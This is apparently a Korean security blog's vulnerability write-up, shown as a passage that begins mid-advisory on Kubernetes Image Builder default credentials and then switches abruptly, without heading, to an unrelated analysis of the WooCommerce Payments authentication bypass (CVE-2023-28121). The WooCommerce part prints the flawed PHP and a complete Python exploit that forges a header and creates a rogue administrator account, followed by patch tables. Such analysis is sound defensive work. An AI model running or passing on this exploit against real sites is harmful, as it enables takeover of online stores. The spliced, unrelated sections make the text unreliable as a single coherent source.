- Kubernetes Image Builder에서 이미지 빌드 프로세스 중에 기본 자격 증명이 활성화되는 보안 문제가 발견 [4] > Proxmox 공급자를 사용하여 빌드된 가상 머신 이미지는 기본 자격 증명을 비활성화하지 않아 기본 자격 증명을 통해 액세스가 가능 > 다른 공급자로 빌드된 이미지를 사용하는 VM은 취약점에 영향받지 않음
2.2 CVE-2024-9594 [5][6]
[사진 2] CVE-2024-9594
- Kubernetes Image Builder 기본 자격 증명 비활성화 취약점 > Nutanix, OVA, QEMU 또는 원시 공급자로 빌드된 이미지에도 동일한 문제가 존재하나 빌드가 끝난 후 자격증명이 비활성화 됨 > 이미지 빌드가 발생하는 VM에 접근해 이미지 빌드가 발생하는 시점에 취약성을 악용할때만 영향을 받음
영향받는 버전: Kubernetes Image Builder <= v0.1.37
3. 대응방안
- 벤더사 제공 보안 업데이트 적용 [7] > 이미지 빌드 기간 동안 무작위로 생성된 비밀번호를 설정 > 이미지 빌드가 끝나면 빌더 계정이 비활성화
취약점
제품명
영향받는 버전
해결 버전
CVE-2024-9486 CVE-2024-9594
Kubernetes Image Builder
v0.1.37 이하
v0.1.38
- 사용 중인 Image Builder 버전 확인 방법
구분
설명
이미지 빌더 저장소의 git 복제본의 경우
cd <local path to image builder repo> make version
Tarball 다운로드를 사용하여 설치하는 경우
cd <local path to install location> grep -o v0\\.[0-9.]* RELEASE.md | head -1
컨테이너 이미지 릴리스의 경우
docker run --rm <image pull spec> version 또는 podman run --rm <image pull spec> version
공식 이미지의 경우 지정된 이미지 태그 확인 registry.k8s.io/scl-image-builder/cluster-node-image-builder-amd64:v0.1.37
- last builder 명령으로 builder 계정 로그인 이력 점검
※ 업데이트 적용이 불가할 경우
ⓐ Image Builder의 고정 버전을 사용하여 영향을 받은 모든 이미지를 다시 빌드 > 영향을 받은 모든 VM에 고정된 이미지를 다시 배포
ⓑ 업그레이드 전 영향을 받는 VM에서 빌더 계정을 비활성화하면 취약점을 완화할 수 있음 > usermod -L builder
> Line 36~46 determinate_current_user_for_platform_checkout()에서 특정 헤더 값을 이용해 사용자 결정
⒜ 관련 헤더: X-WCPAY-PLATFORM-CHECKOUT-USER
⒝ 해당 헤더 값이 존재할 경우 검증없이 단순히 값을 반환하여 사용자를 결정
public static function determine_current_user_for_platform_checkout( $user ) {
if ( $user ) {
return $user;
}
if ( ! isset( $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'] ) || ! is_numeric( $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'] ) ) {
return null;
}
return (int) $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'];
}
- Platform-Checkout-Session.php 중 취약점과 관련된 코드의 일부
<?php
/**
* Class WC_Payments_Session.
*
* @package WooCommerce\Payments
*/
namespace WCPay\Platform_Checkout;
/**
* Class responsible for handling platform checkout sessions.
* This class should be loaded as soon as possible so the correct session is loaded.
* So don't load it in the WC_Payments::init() function.
*/
class Platform_Checkout_Session {
const PLATFORM_CHECKOUT_SESSION_COOKIE_NAME = 'platform_checkout_session';
/**
* Init the hooks.
*
* @return void
*/
public static function init() {
add_filter( 'determine_current_user', [ __CLASS__, 'determine_current_user_for_platform_checkout' ] );
add_filter( 'woocommerce_cookie', [ __CLASS__, 'determine_session_cookie_for_platform_checkout' ] );
}
/**
* Sets the current user as the user sent via the api from WooPay if present.
*
* @param \WP_User|null|int $user user to be used during the request.
*
* @return \WP_User|null|int
*/
public static function determine_current_user_for_platform_checkout( $user ) {
if ( $user ) {
return $user;
}
if ( ! isset( $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'] ) || ! is_numeric( $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'] ) ) {
return null;
}
return (int) $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'];
}
/**
* Tells WC to use platform checkout session cookie if the header is present.
*
* @param string $cookie_hash Default cookie hash.
*
* @return string
*/
public static function determine_session_cookie_for_platform_checkout( $cookie_hash ) {
if ( isset( $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'] ) && 0 === (int) $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'] ) {
return self::PLATFORM_CHECKOUT_SESSION_COOKIE_NAME;
}
return $cookie_hash;
}
}
2.2 PoC
- 공개된 PoC의 동작은 다음과 같음
① readme.txt를 통해 대상 시스템에서 사용중인 WooCommerce Payments 플러그인의 버전을 확인해 취약 여부 확인
② 취약한 버전일 경우 /wp-json/wp/v2/users API 인터페이스를 활용해 사용자 추가
③ X-WCPAY-PLATFORM-CHECKOUT-USER 헤더 값을 1로 설정
> 일반적으로첫 번째 사용자는 관리자이므로, 1로 설정하는 것으로 판단됨
④ 공격자가 관리자 권한을 가진 계정을 생성하게 됨
> determinate_current_user_for_platform_checkout()에 의해 검증없이 관리자 권한으로 설정됨
# CVE-2023-28121
# WooCommerce Payments Unauthorized Administrator Access Exploit
# by Secragon
# PoC for educational/research purposes only
# Use it at your own risk!
import re
import sys
import urllib3
import requests
import argparse
from colorama import Fore, Style
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
username = "secragon"
password = "OffensiveSecurity123"
email = "exploit@secragon.com"
def check_version(target):
print(Style.RESET_ALL + "Site version:", end=' ')
try:
r = requests.get(f"{target}/wp-content/plugins/woocommerce-payments/readme.txt", verify=False)
version = re.search(r"Stable tag: (.*)", r.text).groups()[0]
except:
print(Fore.RED + f'error...')
exit()
if int(version.replace('.','')) < 562:
print(Fore.GREEN + f'{version} - vulnerable!')
else:
print(Fore.RED + f'{version} - not vulnerable!')
exit()
def add_admin(target):
headers = {
'User-Agent': 'Secragon Offensive Agent',
'X-WCPAY-PLATFORM-CHECKOUT-USER': '1'
}
data = {
'rest_route' : '/wp/v2/users',
'username' : username,
'email': email,
'password': password,
'roles':'administrator'
}
print(Style.RESET_ALL + "Getting session:", end =' ')
s = requests.Session()
try:
r = s.get(f'{target}', headers=headers, verify=False)
print(Fore.GREEN + f'done')
except:
print(Fore.RED + f'error...')
exit()
print(Style.RESET_ALL + "Adding a new admin:", end =' ')
r = s.post(f'{target}', data=data, headers=headers, verify=False)
if r.status_code == 201:
print(Fore.GREEN + f'done')
else:
print(Fore.RED + f'error...')
exit()
print(Style.RESET_ALL + "All set! You can now login using the following credentials:")
print(f'Username: {username}')
print(f'Password: {password}')
print()
print()
print(Fore.BLUE + "\t\t --- WooCommerce Payments exploit ---")
print("\t\t (unauthorized admin access)")
print(Fore.RED + "\t\t\t\t\tby gbrsh@secragon & gnomer0x@secragon")
print(Style.RESET_ALL)
parser = argparse.ArgumentParser()
parser.add_argument('url', help='http://wphost')
if len(sys.argv) == 1:
parser.print_help()
print()
exit()
args = parser.parse_args()
check_version(args.url)
add_admin(args.url)
[사진 2] 익스플로잇
- 공격자의 조작된 요청에의해 서버에서 201 Created 응답이 발생하며, 악성 계정이 정상적으로 생성
> 201 Created: POST, PUT 메소드 등으로 새로운 데이터를 서버에 생성하는 작업이 성공했음을 나타내는 상태코드
[사진 3] 악성 계정 생성
3. 대응방안
① 벤더사에서 제공하는 패치를 적용
- 해당 취약점은 2023.03.23 벤더사에서 패치를 배포
제품명
영향받는 버전
해결 버전
WooCommerce Payments
4.8.2이전 버전
4.8.2
4.9.1이전 버전
4.9.1
5.0.4이전 버전
5.0.4
5.1.3이전 버전
5.1.3
5.2.2이전 버전
5.2.2
5.3.1이전 버전
5.3.1
5.4.1이전 버전
5.4.1
5.5.2이전 버전
5.5.2
5.6.2이전 버전
5.6.2
※ 패치 버전에서는 init() 포함되어 있는 Platform-Checkout-Session.php 파일을 삭제한 것으로 판단됨
